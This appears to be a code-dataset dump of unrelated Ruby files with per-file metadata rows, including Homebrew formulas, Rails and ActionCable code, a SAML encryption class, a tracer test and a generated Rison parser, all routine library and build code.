File.readlines(path).grep(/# see com.intellij.idea.SocketLock for the server side of this interface/).any?
File.delete(path)
end
end
end
zap trash: [
"~/Library/Application Support/RubyMine#{version.major_minor}",
"~/Library/Caches/RubyMine#{version.major_minor}",
"~/Library/Logs/RubyMine#{version.major_minor}",
"~/Library/Preferences/RubyMine#{version.major_minor}",
]
end
| 30.145833 | 115 | 0.697996 |
79526735e101e89c846dc92910a11a57e92d643f | 1,194 | class Swiftlint < Formula
desc "Tool to enforce Swift style and conventions"
homepage "https://github.com/realm/SwiftLint"
url "https://github.com/realm/SwiftLint.git",
:tag => "0.37.0",
:revision => "36775cce86bb72681604592f7e41497b6959ac53"
head "https://github.com/realm/SwiftLint.git"
bottle do
cellar :any_skip_relocation
sha256 "d3182e9d9f6c31bc22ff11cb61d6743d6908aed3de3cd3e6a31088e7b9d2c153" => :catalina
sha256 "0096952a2917bab113e2b6372d221d18ada6895f4f81fd64d304cc516398761e" => :mojave
end
depends_on :xcode => ["10.2", :build]
depends_on :xcode => "8.0"
depends_on :macos
def install
system "make", "prefix_install", "PREFIX=#{prefix}", "TEMPORARY_FOLDER=#{buildpath}/SwiftLint.dst"
end
test do
(testpath/"Test.swift").write "import Foundation"
assert_match "Test.swift:1:1: warning: Trailing Newline Violation: Files should have a single trailing newline. (trailing_newline)",
shell_output("SWIFTLINT_SWIFT_VERSION=3 SWIFTLINT_DISABLE_SOURCEKIT=1 #{bin}/swiftlint lint --no-cache").chomp
assert_match version.to_s,
shell_output("#{bin}/swiftlint version").chomp
end
end
| 38.516129 | 136 | 0.721106 |
bb306860120e71a1a7076b73a640f5df7ad0a892 | 1,019 | FactoryBot.define do
factory :benefit_sponsors_organizations_issuer_profile, class: 'BenefitSponsors::Organizations::IssuerProfile' do
transient do
office_locations_count { 1 }
assigned_site { nil }
legal_name { "Blue Cross Blue Shield" }
end
after(:build) do |profile, evaluator|
if profile.organization.blank?
if evaluator.assigned_site
profile.organization = FactoryBot.build(:benefit_sponsors_organizations_general_organization, legal_name: evaluator.legal_name, site: evaluator.assigned_site)
else
profile.organization = FactoryBot.build(:benefit_sponsors_organizations_general_organization, :with_site, legal_name: evaluator.legal_name)
end
end
end
after(:build) do |profile, evaluator|
profile.office_locations << build_list(:benefit_sponsors_locations_office_location, evaluator.office_locations_count, :primary)
end
trait :kaiser_profile do
legal_name { "Kaiser" }
end
end
end
| 35.137931 | 168 | 0.730128 |
f711b065ca221c25b9b65984572a4d5922a7196f | 4,487 | module ActionCable
module Channel
# Streams allow channels to route broadcastings to the subscriber. A broadcasting is an discussed elsewhere a pub/sub queue where any data
# put into it is automatically sent to the clients that are connected at that time. It's purely an online queue, though. If you're not
# streaming a broadcasting at the very moment it sends out an update, you'll not get that update when connecting later.
#
# Most commonly, the streamed broadcast is sent straight to the subscriber on the client-side. The channel just acts as a connector between
# the two parties (the broadcaster and the channel subscriber). Here's an example of a channel that allows subscribers to get all new
# comments on a given page:
#
# class CommentsChannel < ApplicationCable::Channel
# def follow(data)
# stream_from "comments_for_#{data['recording_id']}"
# end
#
# def unfollow
# stop_all_streams
# end
# end
#
# So the subscribers of this channel will get whatever data is put into the, let's say, `comments_for_45` broadcasting as soon as it's put there.
# That looks like so from that side of things:
#
# ActionCable.server.broadcast "comments_for_45", author: 'DHH', content: 'Rails is just swell'
#
# If you have a stream that is related to a model, then the broadcasting used can be generated from the model and channel.
# The following example would to subscribe to a broadcasting that would be something like `comments:Z2lkOi8vVGVzdEFwcC9Qb3N0LzE`
#
# class CommentsChannel < ApplicationCable::Channel
# def subscribed
# post = Post.find(params[:id])
# stream_for post
# end
# end
#
# You can then broadcast to this channel using:
#
# CommentsChannel.broadcast_to(@post)
#
# If you don't just want to parlay the broadcast unfiltered to the subscriber, you can supply a callback that let's you alter what goes out.
# Example below shows how you can use this to provide performance introspection in the process:
#
# class ChatChannel < ApplicationCable::Channel
# def subscribed
# @room = Chat::Room[params[:room_number]]
#
# stream_for @room, -> (message) do
# message = ActiveSupport::JSON.decode(m)
#
# if message['originated_at'].present?
# elapsed_time = (Time.now.to_f - message['originated_at']).round(2)
#
# ActiveSupport::Notifications.instrument :performance, measurement: 'Chat.message_delay', value: elapsed_time, action: :timing
# logger.info "Message took #{elapsed_time}s to arrive"
# end
#
# transmit message
# end
# end
#
# You can stop streaming from all broadcasts by calling #stop_all_streams.
module Streams
extend ActiveSupport::Concern
included do
on_unsubscribe :stop_all_streams
end
# Start streaming from the named <tt>broadcasting</tt> pubsub queue. Optionally, you can pass a <tt>callback</tt> that'll be used
# instead of the default of just transmitting the updates straight to the subscriber.
def stream_from(broadcasting, callback = nil)
callback ||= default_stream_callback(broadcasting)
streams << [ broadcasting, callback ]
pubsub.subscribe broadcasting, &callback
logger.info "#{self.class.name} is streaming from #{broadcasting}"
end
# Start streaming the pubsub queue for the <tt>model</tt> in this channel. Optionally, you can pass a
# <tt>callback</tt> that'll be used instead of the default of just transmitting the updates straight
# to the subscriber.
def stream_for(model, callback = nil)
stream_from(broadcasting_for([ channel_name, model ]), callback)
end
def stop_all_streams
streams.each do |broadcasting, callback|
pubsub.unsubscribe_proc broadcasting, callback
logger.info "#{self.class.name} stopped streaming from #{broadcasting}"
end
end
private
delegate :pubsub, to: :connection
def streams
@_streams ||= []
end
def default_stream_callback(broadcasting)
-> (message) do
transmit ActiveSupport::JSON.decode(message), via: "streamed from #{broadcasting}"
end
end
end
end
end
| 41.165138 | 149 | 0.662358 |
111f654e9f9d6d2163b6af046ea66172b973eb2a | 559 | module Fog
module Compute
class Cloudstack
class Real
# List Usage Types
#
# {CloudStack API Reference}[http://cloudstack.apache.org/docs/api/apidocs-4.4/root_admin/listUsageTypes.html]
def list_usage_types(*args)
options = {}
if args[0].is_a? Hash
options = args[0]
options.merge!('command' => 'listUsageTypes')
else
options.merge!('command' => 'listUsageTypes')
end
request(options)
end
end
end
end
end
| 22.36 | 118 | 0.550984 |
1c4dfac9447df1506aded04f7789201f63d6f4f9 | 429 | module Select2Helper
def select2(select_id, val)
return if val == 'Unassigned'
@hidden_select_value = find("##{select_id} option", text: val.to_s)[:value].downcase
find("##{select_id} + .select2.select2-container.select2-container--default").click
@results_container = find("#select2-#{select_id}-results")
@results_container.find("li[id$='#{@hidden_select_value}']").click
end
end
World(Select2Helper)
| 33 | 88 | 0.710956 |
1d1eda202021e31f1eadee312a60437dc5113589 | 557 | Rails.application.routes.draw do
post ':controller(/:action(/:id))(.:format)'
get ':controller(/:action(/:id))(.:format)'
get '/logout' => 'sessions#destroy', :as => 'logout'
get '/auth/failure' => 'sessions#failure'
post '/auth/:provider/callback' => 'sessions#create'
get '/auth/:provider/callback' => 'sessions#create'
resources :sessions
resources :identities
mount Ckeditor::Engine => '/ckeditor'
root :to => 'mindapp#index'
# For details on the DSL available within this file, see http://guides.rubyonrails.org/routing.html
end
| 37.133333 | 101 | 0.685817 |
d51ab230a376e533283dd8e4d746a166133b81c2 | 1,567 | class GobjectIntrospection < Formula
desc "Generate introspection data for GObject libraries"
homepage "https://live.gnome.org/GObjectIntrospection"
url "https://download.gnome.org/sources/gobject-introspection/1.54/gobject-introspection-1.54.1.tar.xz"
sha256 "b88ded5e5f064ab58a93aadecd6d58db2ec9d970648534c63807d4f9a7bb877e"
bottle do
sha256 "af8872721600cf3b5c033bad125fcef08a59e3ddfde4093fe6bc6bce5331e004" => :high_sierra
sha256 "4f07bc2e12b9015a670a999744d8201c575ea9d49421ec617507aa01407d841e" => :sierra
sha256 "88736baecfbab3cf709cb6b09de85f9e4a4382ac1d1c59f33af22c522dab81a4" => :el_capitan
end
depends_on "pkg-config" => :run
depends_on "glib"
depends_on "cairo"
depends_on "libffi"
depends_on :python if MacOS.version <= :mavericks
resource "tutorial" do
url "https://gist.github.com/7a0023656ccfe309337a.git",
:revision => "499ac89f8a9ad17d250e907f74912159ea216416"
end
def install
ENV["GI_SCANNER_DISABLE_CACHE"] = "true"
inreplace "giscanner/transformer.py", "/usr/share", "#{HOMEBREW_PREFIX}/share"
inreplace "configure" do |s|
s.change_make_var! "GOBJECT_INTROSPECTION_LIBDIR", "#{HOMEBREW_PREFIX}/lib"
end
system "./configure", "--disable-dependency-tracking", "--prefix=#{prefix}", "PYTHON=python"
system "make"
system "make", "install"
end
test do
ENV.prepend_path "PKG_CONFIG_PATH", Formula["libffi"].opt_lib/"pkgconfig"
resource("tutorial").stage testpath
system "make"
assert_predicate testpath/"Tut-0.1.typelib", :exist?
end
end
| 36.44186 | 105 | 0.750479 |
7aa19cd63df755fa0d400faa72a80d0c9bd389eb | 13,736 | #
# DO NOT MODIFY!!!!
# This file is automatically generated by Racc 1.4.15
# from Racc grammer file "".
#
require 'racc/parser.rb'
module Rison
class Parser < Racc::Parser
module_eval(<<'...end parser.y/module_eval...', 'parser.y', 75)
attr_reader :source, :input
def initialize(source)
@source = source
@input = StringScanner.new(source)
end
def self.parse(source)
self.new(source).do_parse
rescue Racc::ParseError => exn
raise ParserError.new("#{exn.message} in #{source}")
end
def next_token
case
when input.eos?
[false, false]
when input.scan(/'/)
[:QUOTE, input.matched]
when input.scan(/\(/)
[:LPAREN, input.matched]
when input.scan(/\)/)
[:RPAREN, input.matched]
when input.scan(/:/)
[:COLON, input.matched]
when input.scan(/\./)
[:DOT, input.matched]
when input.scan(/\,/)
[:COMMA, input.matched]
when input.scan(/!/)
[:EXCLAM, input.matched]
when input.scan(/\-/)
[:MINUS, input.matched]
when input.scan(/e/)
[:E, input.matched]
when input.scan(/t/)
[:T, input.matched]
when input.scan(/f/)
[:F, input.matched]
when input.scan(/n/)
[:N, input.matched]
# Originally, 0 is not allowed at the beginning of the number, but rison.js accepts this.
when input.scan(/[0-9]/)
[:DIGIT, input.matched]
# IDSTART and IDCHAR should originally accept only the ASCII symbols `-_./~`, but rison.js accepts other symbols.
# @see https://rison.io/
# @see https://github.com/Nanonid/rison/blob/e64af6c096fd30950ec32cfd48526ca6ee21649d/js/rison.js#L77-L84
when input.scan(/[^\-0-9 '!:\(\),\*@\$]/)
[:IDSTART, input.matched]
when input.scan(/[^ '!:\(\),\*@\$]/)
[:IDCHAR, input.matched]
when input.scan(/[^\'\!]/)
[:STRCHAR, input.matched]
end
end
...end parser.y/module_eval...
##### State transition tables begin ###
racc_action_table = [
47, 48, 49, 46, 45, 15, 16, 17, 36, 38,
39, 13, 14, 18, 40, 43, 47, 48, 49, 46,
45, 15, 16, 17, 36, 38, 39, 13, 14, 18,
3, 43, 54, 52, 4, 15, 16, 17, 68, 22,
21, 13, 14, 18, 19, 3, 62, 78, 69, 4,
15, 16, 17, 66, 22, 21, 13, 14, 18, 19,
3, 23, 54, 56, 4, 15, 16, 17, 56, 22,
21, 13, 14, 18, 19, 3, 73, 56, 56, 4,
15, 16, 17, 79, 22, 21, 13, 14, 18, 19,
24, 57, 30, 56, 15, 16, 17, 31, 32, 33,
13, 14, 18, 19, 15, 16, 17, 58, 59, 60,
13, 14, 18, 19, 15, 16, 17, 36, 38, 39,
13, 14, 18, 15, 16, 17, 36, 38, 39, 13,
14, 18, 61 ]
racc_action_check = [
19, 19, 19, 19, 19, 19, 19, 19, 19, 19,
19, 19, 19, 19, 19, 19, 42, 42, 42, 42,
42, 42, 42, 42, 42, 42, 42, 42, 42, 42,
0, 42, 20, 20, 0, 0, 0, 0, 45, 0,
0, 0, 0, 0, 0, 30, 30, 63, 45, 30,
30, 30, 30, 41, 30, 30, 30, 30, 30, 30,
61, 1, 50, 52, 61, 61, 61, 61, 53, 61,
61, 61, 61, 61, 61, 79, 54, 56, 57, 79,
79, 79, 79, 64, 79, 79, 79, 79, 79, 79,
3, 22, 4, 21, 3, 3, 3, 4, 4, 4,
3, 3, 3, 3, 60, 60, 60, 23, 25, 26,
60, 60, 60, 60, 35, 35, 35, 35, 35, 35,
35, 35, 35, 12, 12, 12, 12, 12, 12, 12,
12, 12, 27 ]
racc_action_pointer = [
28, 61, nil, 87, 90, nil, nil, nil, nil, nil,
nil, nil, 116, nil, nil, nil, nil, nil, nil, -2,
18, 81, 79, 107, nil, 105, 105, 127, nil, nil,
43, nil, nil, nil, nil, 107, nil, nil, nil, nil,
nil, 37, 14, nil, nil, 32, nil, nil, nil, nil,
48, nil, 51, 56, 65, nil, 65, 66, nil, nil,
97, 58, nil, 44, 79, nil, nil, nil, nil, nil,
nil, nil, nil, nil, nil, nil, nil, nil, nil, 73,
nil ]
racc_action_default = [
-63, -63, -1, -63, -63, -13, -14, -15, -16, -17,
-18, -19, -23, -31, -32, -33, -34, -35, -36, -63,
-49, -53, -63, -63, -2, -63, -4, -63, -11, -12,
-63, -20, -21, -22, -24, -25, -27, -28, -29, -30,
-37, -63, -39, -41, -42, -63, -45, -46, -47, -48,
-50, -51, -63, -63, -61, -54, -59, -55, 81, -3,
-63, -63, -7, -63, -9, -26, -38, -40, -43, -44,
-52, -57, -58, -62, -60, -56, -5, -6, -8, -63,
-10 ]
racc_goto_table = [
2, 25, 28, 29, 63, 55, 44, 41, 37, 51,
34, 50, 1, nil, nil, 37, nil, nil, nil, nil,
nil, nil, nil, nil, nil, nil, nil, nil, nil, 44,
67, 37, nil, 65, nil, nil, 71, 72, 37, 70,
74, 75, nil, nil, nil, nil, nil, nil, nil, nil,
nil, nil, nil, 80, nil, nil, nil, nil, 76, 28,
29, 77 ]
racc_goto_check = [
2, 4, 9, 10, 8, 22, 16, 17, 14, 21,
15, 20, 1, nil, nil, 14, nil, nil, nil, nil,
nil, nil, nil, nil, nil, nil, nil, nil, nil, 16,
17, 14, nil, 15, nil, nil, 22, 22, 14, 21,
22, 22, nil, nil, nil, nil, nil, nil, nil, nil,
nil, nil, nil, 8, nil, nil, nil, nil, 4, 9,
10, 2 ]
racc_goto_pointer = [
nil, 12, 0, nil, -2, nil, nil, nil, -26, -1,
0, nil, nil, nil, -4, -2, -13, -12, nil, nil,
-9, -11, -16, nil ]
racc_goto_default = [
nil, nil, 64, 8, nil, 26, 27, 9, nil, 5,
6, 7, 10, 11, 12, nil, 35, nil, 42, 20,
nil, nil, nil, 53 ]
racc_reduce_table = [
0, 0, :racc_error,
1, 19, :_reduce_none,
2, 21, :_reduce_2,
3, 21, :_reduce_3,
1, 22, :_reduce_none,
3, 22, :_reduce_5,
3, 23, :_reduce_6,
3, 25, :_reduce_7,
4, 25, :_reduce_8,
1, 26, :_reduce_9,
3, 26, :_reduce_10,
1, 24, :_reduce_none,
1, 24, :_reduce_none,
1, 20, :_reduce_none,
1, 20, :_reduce_none,
1, 20, :_reduce_none,
1, 20, :_reduce_none,
1, 20, :_reduce_none,
1, 20, :_reduce_none,
1, 20, :_reduce_none,
2, 30, :_reduce_20,
2, 30, :_reduce_21,
2, 31, :_reduce_22,
1, 27, :_reduce_none,
2, 27, :_reduce_24,
1, 33, :_reduce_none,
2, 33, :_reduce_26,
1, 34, :_reduce_none,
1, 34, :_reduce_none,
1, 34, :_reduce_none,
1, 34, :_reduce_none,
1, 32, :_reduce_none,
1, 32, :_reduce_none,
1, 32, :_reduce_none,
1, 32, :_reduce_none,
1, 32, :_reduce_none,
1, 32, :_reduce_none,
2, 28, :_reduce_37,
3, 28, :_reduce_38,
1, 35, :_reduce_none,
2, 35, :_reduce_40,
1, 36, :_reduce_none,
1, 36, :_reduce_none,
2, 36, :_reduce_43,
2, 36, :_reduce_44,
1, 36, :_reduce_none,
1, 36, :_reduce_none,
1, 36, :_reduce_none,
1, 36, :_reduce_none,
1, 29, :_reduce_49,
2, 29, :_reduce_50,
2, 29, :_reduce_51,
3, 29, :_reduce_52,
1, 37, :_reduce_53,
2, 37, :_reduce_54,
2, 37, :_reduce_55,
3, 37, :_reduce_56,
2, 38, :_reduce_57,
2, 39, :_reduce_58,
1, 40, :_reduce_none,
2, 40, :_reduce_60,
1, 41, :_reduce_61,
2, 41, :_reduce_62 ]
racc_reduce_n = 63
racc_shift_n = 81
racc_token_table = {
false => 0,
:error => 1,
:LPAREN => 2,
:RPAREN => 3,
:COMMA => 4,
:COLON => 5,
:EXCLAM => 6,
:T => 7,
:F => 8,
:N => 9,
:IDCHAR => 10,
:MINUS => 11,
:DIGIT => 12,
:IDSTART => 13,
:E => 14,
:DOT => 15,
:QUOTE => 16,
:STRCHAR => 17 }
racc_nt_base = 18
racc_use_result_var = true
Racc_arg = [
racc_action_table,
racc_action_check,
racc_action_default,
racc_action_pointer,
racc_goto_table,
racc_goto_check,
racc_goto_default,
racc_goto_pointer,
racc_nt_base,
racc_reduce_table,
racc_token_table,
racc_shift_n,
racc_reduce_n,
racc_use_result_var ]
Racc_token_to_s_table = [
"$end",
"error",
"LPAREN",
"RPAREN",
"COMMA",
"COLON",
"EXCLAM",
"T",
"F",
"N",
"IDCHAR",
"MINUS",
"DIGIT",
"IDSTART",
"E",
"DOT",
"QUOTE",
"STRCHAR",
"$start",
"target",
"value",
"object",
"members",
"pair",
"key",
"array",
"elements",
"id",
"string",
"number",
"bool",
"null",
"idstart",
"idchars",
"idchar",
"strchars",
"strchar",
"int",
"frac",
"exp",
"digits",
"e" ]
Racc_debug_parser = false
##### State transition tables end #####
# reduce 0 omitted
# reduce 1 omitted
module_eval(<<'.,.,', 'parser.y', 5)
def _reduce_2(val, _values, result)
result = {}
result
end
.,.,
module_eval(<<'.,.,', 'parser.y', 6)
def _reduce_3(val, _values, result)
result = val[1]
result
end
.,.,
# reduce 4 omitted
module_eval(<<'.,.,', 'parser.y', 9)
def _reduce_5(val, _values, result)
result = val[0].merge(val[2])
result
end
.,.,
module_eval(<<'.,.,', 'parser.y', 11)
def _reduce_6(val, _values, result)
result = { val[0] => val[2] }
result
end
.,.,
module_eval(<<'.,.,', 'parser.y', 13)
def _reduce_7(val, _values, result)
result = []
result
end
.,.,
module_eval(<<'.,.,', 'parser.y', 14)
def _reduce_8(val, _values, result)
result = val[2]
result
end
.,.,
module_eval(<<'.,.,', 'parser.y', 16)
def _reduce_9(val, _values, result)
result = [val[0]]
result
end
.,.,
module_eval(<<'.,.,', 'parser.y', 17)
def _reduce_10(val, _values, result)
result = val[2].unshift(val[0])
result
end
.,.,
# reduce 11 omitted
# reduce 12 omitted
# reduce 13 omitted
# reduce 14 omitted
# reduce 15 omitted
# reduce 16 omitted
# reduce 17 omitted
# reduce 18 omitted
# reduce 19 omitted
module_eval(<<'.,.,', 'parser.y', 23)
def _reduce_20(val, _values, result)
result = true
result
end
.,.,
module_eval(<<'.,.,', 'parser.y', 24)
def _reduce_21(val, _values, result)
result = false
result
end
.,.,
module_eval(<<'.,.,', 'parser.y', 26)
def _reduce_22(val, _values, result)
result = nil
result
end
.,.,
# reduce 23 omitted
module_eval(<<'.,.,', 'parser.y', 29)
def _reduce_24(val, _values, result)
result = val[0] + val[1]
result
end
.,.,
# reduce 25 omitted
module_eval(<<'.,.,', 'parser.y', 32)
def _reduce_26(val, _values, result)
result = val[0] + val[1]
result
end
.,.,
# reduce 27 omitted
# reduce 28 omitted
# reduce 29 omitted
# reduce 30 omitted
# reduce 31 omitted
# reduce 32 omitted
# reduce 33 omitted
# reduce 34 omitted
# reduce 35 omitted
# reduce 36 omitted
module_eval(<<'.,.,', 'parser.y', 38)
def _reduce_37(val, _values, result)
result = ''
result
end
.,.,
module_eval(<<'.,.,', 'parser.y', 39)
def _reduce_38(val, _values, result)
result = val[1]
result
end
.,.,
# reduce 39 omitted
module_eval(<<'.,.,', 'parser.y', 42)
def _reduce_40(val, _values, result)
result = val[0] + val[1]
result
end
.,.,
# reduce 41 omitted
# reduce 42 omitted
module_eval(<<'.,.,', 'parser.y', 46)
def _reduce_43(val, _values, result)
result = '!'
result
end
.,.,
module_eval(<<'.,.,', 'parser.y', 47)
def _reduce_44(val, _values, result)
result = "'"
result
end
.,.,
# reduce 45 omitted
# reduce 46 omitted
# reduce 47 omitted
# reduce 48 omitted
module_eval(<<'.,.,', 'parser.y', 53)
def _reduce_49(val, _values, result)
result = val[0].to_i
result
end
.,.,
module_eval(<<'.,.,', 'parser.y', 54)
def _reduce_50(val, _values, result)
result = "#{val[0]}#{val[1]}".to_f
result
end
.,.,
module_eval(<<'.,.,', 'parser.y', 55)
def _reduce_51(val, _values, result)
result = "#{val[0]}#{val[1]}".to_f
result
end
.,.,
module_eval(<<'.,.,', 'parser.y', 56)
def _reduce_52(val, _values, result)
result = "#{val[0]}#{val[1]}#{val[2]}".to_f
result
end
.,.,
module_eval(<<'.,.,', 'parser.y', 58)
def _reduce_53(val, _values, result)
result = val[0].to_i
result
end
.,.,
module_eval(<<'.,.,', 'parser.y', 59)
def _reduce_54(val, _values, result)
result = "#{val[0]}#{val[1]}".to_i
result
end
.,.,
module_eval(<<'.,.,', 'parser.y', 60)
def _reduce_55(val, _values, result)
result = "-#{val[1]}".to_i
result
end
.,.,
module_eval(<<'.,.,', 'parser.y', 61)
def _reduce_56(val, _values, result)
result = "-#{val[1]}#{val[2]}".to_i
result
end
.,.,
module_eval(<<'.,.,', 'parser.y', 63)
def _reduce_57(val, _values, result)
result = "#{val[0]}#{val[1]}"
result
end
.,.,
module_eval(<<'.,.,', 'parser.y', 65)
def _reduce_58(val, _values, result)
result = "#{val[0]}#{val[1]}"
result
end
.,.,
# reduce 59 omitted
module_eval(<<'.,.,', 'parser.y', 68)
def _reduce_60(val, _values, result)
result = "#{val[0]}#{val[1]}"
result
end
.,.,
module_eval(<<'.,.,', 'parser.y', 70)
def _reduce_61(val, _values, result)
result = 'e'
result
end
.,.,
module_eval(<<'.,.,', 'parser.y', 71)
def _reduce_62(val, _values, result)
result = "e-"
result
end
.,.,
def _reduce_none(val, _values, result)
val[0]
end
end # class Parser
end # module Rison
| 23.008375 | 115 | 0.501674 |
e82dbf2b73445eca14bfc3260880b38a15939d08 | 2,341 | module ActiveRecord::Import::AbstractAdapter
module InstanceMethods
def next_value_for_sequence(sequence_name)
%(#{sequence_name}.nextval)
end
def insert_many( sql, values, *args ) # :nodoc:
number_of_inserts = 1
base_sql, post_sql = if sql.is_a?( String )
[sql, '']
elsif sql.is_a?( Array )
[sql.shift, sql.join( ' ' )]
end
sql2insert = base_sql + values.join( ',' ) + post_sql
insert( sql2insert, *args )
[number_of_inserts, []]
end
def pre_sql_statements(options)
sql = []
sql << options[:pre_sql] if options[:pre_sql]
sql << options[:command] if options[:command]
sql << "IGNORE" if options[:ignore]
# add keywords like IGNORE or DELAYED
if options[:keywords].is_a?(Array)
sql.concat(options[:keywords])
elsif options[:keywords]
sql << options[:keywords].to_s
end
sql
end
# Synchronizes the passed in ActiveRecord instances with the records in
# the database by calling +reload+ on each instance.
def after_import_synchronize( instances )
instances.each(&:reload)
end
# Returns an array of post SQL statements given the passed in options.
def post_sql_statements( table_name, options ) # :nodoc:
post_sql_statements = []
if supports_on_duplicate_key_update?
if options[:on_duplicate_key_ignore] && respond_to?(:sql_for_on_duplicate_key_ignore)
# Options :recursive and :on_duplicate_key_ignore are mutually exclusive
unless options[:recursive]
post_sql_statements << sql_for_on_duplicate_key_ignore( table_name, options[:on_duplicate_key_ignore] )
end
elsif options[:on_duplicate_key_update]
post_sql_statements << sql_for_on_duplicate_key_update( table_name, options[:on_duplicate_key_update] )
end
end
# custom user post_sql
post_sql_statements << options[:post_sql] if options[:post_sql]
# with rollup
post_sql_statements << rollup_sql if options[:rollup]
post_sql_statements
end
# Returns the maximum number of bytes that the server will allow
# in a single packet
def max_allowed_packet
NO_MAX_PACKET
end
def supports_on_duplicate_key_update?
false
end
end
end
| 29.632911 | 115 | 0.665955 |
ed098170c65a29a31621b1d5cc9852ddd3b7ee1f | 1,459 | module Saml
module Elements
class EncryptedAttribute
include Saml::Base
tag "EncryptedAttribute"
register_namespace "saml", Saml::SAML_NAMESPACE
namespace "saml"
element :encrypted_data, Xmlenc::Builder::EncryptedData
has_many :encrypted_keys, Xmlenc::Builder::EncryptedKey, xpath: "./"
validates :encrypted_data, presence: true
def encrypt(attribute, encrypted_key_data, encrypted_data_options = {})
self.encrypted_data = Xmlenc::Builder::EncryptedData.new(encrypted_data_options)
self.encrypted_data.set_encryption_method algorithm: 'http://www.w3.org/2001/04/xmlenc#aes256-cbc'
self.encrypted_data.set_key_name key_name
encrypted_key_data.each do |key_descriptor, key_options|
encrypted_key = self.encrypted_data.encrypt Nokogiri::XML(attribute.to_xml).root.to_xml, key_options
encrypted_key.set_encryption_method algorithm: 'http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p', digest_method_algorithm: 'http://www.w3.org/2000/09/xmldsig#sha1'
encrypted_key.set_key_name key_descriptor.key_info.key_name
encrypted_key.carried_key_name = key_name
encrypted_key.encrypt key_descriptor.certificate.public_key
self.encrypted_keys ||= []
self.encrypted_keys << encrypted_key
end
end
private
def key_name
@key_name ||= Saml.generate_id
end
end
end
end
| 34.738095 | 173 | 0.710761 |
1c35f73fac6ced46a9444eafc27f48bda4588ae5 | 323 | require 'spec_helper'
require_relative '../corals/game_of_life'
describe 'Game of Life' do
xit 'dead cells should remain dead' do
test :game_of_life,
given: { cells: [
0,0,0,
0,0,0,
0,0,0
]},
then: { cells: [
0,0,0,
0,0,0,
0,0,0
]}
end
end | 15.380952 | 41 | 0.498452 |
01310bc5feb79c60ee3b4559dadb04b073e6f7cc | 2,934 | # typed: ignore
require "test_helper"
class TracerTest < Minitest::Test
extend T::Sig
sig { void }
def test_tracer_traces_method_calls
io_writer = StringIO.new
tracer = SorbetAutoTyper::Tracer.new(io_writer, filter_path=Dir.pwd)
tracer.start!
HelperClass.bar(27)
HelperClass.bar
HelperClass.new.foo(false)
HelperClass.bar(28)
HelperClass.new.foo(true)
TypedHelperClass.new.method_with_signature # Should not show up below since it's typed
HelperModule::Test.foo
HelperClass.blarp
HelperModule.hash_tester(['a', 'b', 'c', 'd', 'e'])
HelperModule.hash_tester(['lol', 'foo', 45, 'bar', 24], { a: [1, 'ff', { ['a', 3] => 4}] })
HelperModule.range_tester(1..4)
HelperModule.range_tester(4..10)
HelperModule::Test.bar
HelperModule::Test.const_in_singleton_class
HelperModule.empty_array
HelperClass::ASelfClass.new.something
tracer.stop!
expected_output = [
"C|HelperClass|class|bar|num|D;Integer",
"R|HelperClass|class|bar|D;Float",
"C|HelperClass|class|bar|num|D;NilClass",
"R|HelperClass|class|bar|D;NilClass",
"C|HelperClass|instance|foo|return_a_num|D;FalseClass",
"R|HelperClass|instance|foo|D;String",
"C|HelperClass|class|bar|num|D;Integer",
"R|HelperClass|class|bar|D;String",
"C|HelperClass|instance|foo|return_a_num|D;TrueClass",
"R|HelperClass|instance|foo|D;Integer",
"C|HelperModule::Test|class|foo",
"R|HelperModule::Test|class|foo|D;String",
"C|HelperClass|class|blarp",
"R|HelperClass|class|blarp|D;HelperClass::AnotherClass",
"C|HelperModule|class|hash_tester|arr|A;(D;String)|reverse|D;FalseClass",
"R|HelperModule|class|hash_tester|H;(D;String);(D;Integer)",
"C|HelperModule|class|hash_tester|arr|A;(D;String;D;Integer)|reverse|H;(D;Symbol);(A;(D;Integer;D;String;H;(A;(D;String;D;Integer));(D;Integer)))",
"R|HelperModule|class|hash_tester|H;(D;String;D;Integer);(D;Integer;D;String)",
"C|HelperModule|class|range_tester|range|R;(D;Integer)",
"R|HelperModule|class|range_tester|S;(D;Integer;D;String)",
"C|HelperModule|class|range_tester|range|R;(D;Integer)",
"R|HelperModule|class|range_tester|R;(D;Date)",
"C|HelperModule::Test|class|bar",
"R|HelperModule::Test|class|bar|D;NilClass",
"C|HelperModule::Test|class|const_in_singleton_class",
/R|HelperModule::Test|class|const_in_singleton_class|D;.*::PrivateClass/,
"C|HelperModule|class|empty_array",
"R|HelperModule|class|empty_array|A;()",
"C|HelperClass::ASelfClass|instance|something",
"R|HelperClass::ASelfClass|instance|something|A;(D;String;D;Integer)",
]
actual_output = io_writer.string.split("\n")
assert_equal(expected_output.size, actual_output.size)
expected_output.each_with_index do |expected, idx|
assert_match expected, actual_output[idx]
end
end
end | 43.147059 | 153 | 0.69257 |
6259ff6d92726ca41495241ec41c0ee43e01c318 | 2,024 | # frozen_string_literal: true
# Instantiate the global Alchemy namespace
module Alchemy
YAML_WHITELIST_CLASSES = %w(Symbol Date Regexp)
ROOT_PATH = Pathname.new(File.join(__dir__, ".."))
end
# Require globally used external libraries
require 'acts_as_list'
require 'action_view/dependency_tracker'
require 'active_model_serializers'
require 'awesome_nested_set'
require 'cancan'
require 'dragonfly'
require 'gutentag'
require 'handlebars_assets'
require 'jquery-rails'
require 'jquery-ui-rails'
require 'kaminari'
require 'non-stupid-digest-assets'
require 'ransack'
require 'request_store'
require 'responders'
require 'sassc-rails'
require 'simple_form'
require 'select2-rails'
require 'turbolinks'
require 'userstamp'
# Require globally used Alchemy mixins
require_relative 'alchemy/ability_helper'
require_relative 'alchemy/admin/locale'
require_relative 'alchemy/auth_accessors'
require_relative 'alchemy/cache_digests/template_tracker'
require_relative 'alchemy/config'
require_relative 'alchemy/configuration_methods'
require_relative 'alchemy/controller_actions'
require_relative 'alchemy/deprecation'
require_relative 'alchemy/elements_finder'
require_relative 'alchemy/errors'
require_relative 'alchemy/essence'
require_relative 'alchemy/filetypes'
require_relative 'alchemy/forms/builder'
require_relative 'alchemy/hints'
require_relative 'alchemy/i18n'
require_relative 'alchemy/logger'
require_relative 'alchemy/modules'
require_relative 'alchemy/name_conversions'
require_relative 'alchemy/on_page_layout'
require_relative 'alchemy/on_page_layout/callbacks_runner'
require_relative 'alchemy/page_layout'
require_relative 'alchemy/paths'
require_relative 'alchemy/permissions'
require_relative 'alchemy/ssl_protection'
require_relative 'alchemy/resource'
require_relative 'alchemy/tinymce'
require_relative 'alchemy/taggable'
require_relative 'alchemy/webpacker'
# Require hacks
require_relative 'kaminari/scoped_pagination_url_helper'
# Finally require Alchemy itself
require_relative 'alchemy/engine'
